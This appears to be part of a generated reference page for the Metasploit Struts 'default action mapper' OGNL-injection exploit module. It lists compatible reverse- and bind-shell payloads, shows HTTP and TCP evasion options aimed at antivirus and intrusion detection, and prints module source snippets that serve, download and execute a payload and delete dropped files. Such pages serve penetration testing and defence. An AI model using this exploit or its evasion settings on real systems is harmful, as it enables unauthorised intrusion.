   145  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   146  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   147  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   148  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   149  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   150  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   151  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   152  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   153  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   154  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   155  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   156  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   157  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   158  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   159  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   160  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   161  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   162  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   163  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   164  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   165  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   166  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   167  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   168  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   169  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   170  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   171  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   172  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   173  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   174  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   175  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   176  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   177  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   178  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   179  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   180  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   181  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   182  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   183  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   184  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   185  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   186  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   187  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   188  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   189  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   190  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   191  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   192  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   193  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   194  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   195  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   196  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   197  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   198  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   199  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   200  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   201  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   202  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   203  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   204  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   205  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   206  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   207  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   208  payload/windows/vncinject/reverse_http_proxy_pstore                          normal  No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   209  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   210  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   211  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   212  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   213  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   214  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   215  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   216  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   217  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   218  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/struts_default_action_mapper exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/struts_default_action_mapper) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to delete <WIN_FILE>


Here is a relevant code snippet related to the "Failed to delete <WIN_FILE>" error message:

95:	          session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
96:	          session.fs.file.rm(win_file)
97:	          print_good("Deleted #{file}")
98:	          true
99:	        rescue ::Rex::Post::Meterpreter::RequestError
100:	          print_error("Failed to delete #{win_file}")
101:	          false
102:	        end
103:	      end
104:	    end
105:	

<RHOST>:<RPORT> - Check needs a valid action, returning 200, as TARGETURI


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Check needs a valid action, returning 200, as TARGETURI" error message:

148:	      'uri' => uri,
149:	      'method' => 'GET'
150:	    })
151:	
152:	    if res.nil? or res.code != 200
153:	      vprint_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
154:	      return Exploit::CheckCode::Unknown
155:	    end
156:	
157:	    proof = rand_text_alpha(6 + rand(4))
158:	

<RHOST>:<RPORT> - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200" error message:

174:	      'uri' => uri,
175:	      'method' => 'GET'
176:	    })
177:	
178:	    if res.nil? or res.code != 200
179:	      fail_with(Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")
180:	    end
181:	
182:	    proof = rand_text_alpha(6 + rand(4))
183:	
184:	    res = send_request_cgi({

<RHOST>:<RPORT> - Target auto-detection didn't work


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Target auto-detection didn't work" error message:

192:	      else
193:	        return targets[2] # Linux
194:	      end
195:	    end
196:	
197:	    fail_with(Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work")
198:	  end
199:	
200:	  def exploit_linux
201:	    downfile = rand_text_alpha(8 + rand(8))
202:	    @pl = @exe

<RHOST>:<RPORT> - OGNL injection failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - OGNL injection failed" error message:

222:	      'method' => 'GET',
223:	      'uri' => uri
224:	    })
225:	
226:	    if res.nil? or res.code != 302
227:	      fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
228:	    end
229:	
230:	    #
231:	    # wait for payload download
232:	    #

<RHOST>:<RPORT> - OGNL injection failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - OGNL injection failed" error message:

246:	      'method' => 'GET',
247:	      'uri' => uri
248:	    })
249:	
250:	    if res.nil? or res.code != 302
251:	      fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
252:	    end
253:	
254:	    #
255:	    # execute
256:	    #

<RHOST>:<RPORT> - OGNL injection failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - OGNL injection failed" error message:

263:	      'method' => 'GET',
264:	      'uri' => uri
265:	    })
266:	
267:	    if res.nil? or res.code != 302
268:	      fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
269:	    end
270:	  end
271:	
272:	  def exploit_windows
273:	    @var_exename = rand_text_alpha(4 + rand(4)) + '.exe'

<RHOST>:<RPORT> - OGNL injection failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - OGNL injection failed" error message:

291:	      'method' => 'GET',
292:	      'uri' => uri
293:	    })
294:	
295:	    if res.nil? or res.code != 302
296:	      fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
297:	    end
298:	
299:	    #
300:	    # wait for payload download
301:	    #

<RHOST>:<RPORT> - The target is Linux, but you've selected a Windows payload!


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - The target is Linux, but you've selected a Windows payload!" error message:

316:	    p = exploit_regenerate_payload(my_target.platform, my_target.arch)
317:	    @exe = generate_payload_exe({ :code => p.encoded, :platform => my_target.platform, :arch => my_target.arch })
318:	
319:	    if my_target.name =~ /Linux/
320:	      if datastore['PAYLOAD'] =~ /windows/
321:	        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")
322:	      end
323:	      exploit_linux
324:	    elsif my_target.name =~ /Windows/
325:	      if datastore['PAYLOAD'] =~ /linux/
326:	        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")

<RHOST>:<RPORT> - The target is Windows, but you've selected a Linux payload!


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - The target is Windows, but you've selected a Linux payload!" error message:

321:	        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")
322:	      end
323:	      exploit_linux
324:	    elsif my_target.name =~ /Windows/
325:	      if datastore['PAYLOAD'] =~ /linux/
326:	        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")
327:	      end
328:	      exploit_windows
329:	    end
330:	  end
331:	

<RHOST>:<RPORT> - A request came in, but the payload wasn't ready yet!


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - A request came in, but the payload wasn't ready yet!" error message:

331:	
332:	  # Handle incoming requests from the server
333:	  def on_request_uri(cli, request)
334:	    vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}")
335:	    if (not @pl)
336:	      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
337:	      return
338:	    end
339:	    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
340:	    @pl_sent = true
341:	    send_response(cli, @pl)

<RHOST>:<RPORT> - Target didn't request request the ELF payload -- Maybe it cant connect back to us?


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Target didn't request request the ELF payload -- Maybe it cant connect back to us?" error message:

352:	    waited = 0
353:	    while (not @pl_sent)
354:	      select(nil, nil, nil, 1)
355:	      waited += 1
356:	      if (waited > datastore['HTTP_DELAY'])
357:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
358:	      end
359:	    end
360:	
361:	    sleep(datastore['PAYLOAD_REQUEST_DELAY'])
362:	  end

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References


See Also


Check also the following modules related to this module:

Authors


  • Takeshi Terada
  • sinn3r
  • juan vazquez

Version


This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

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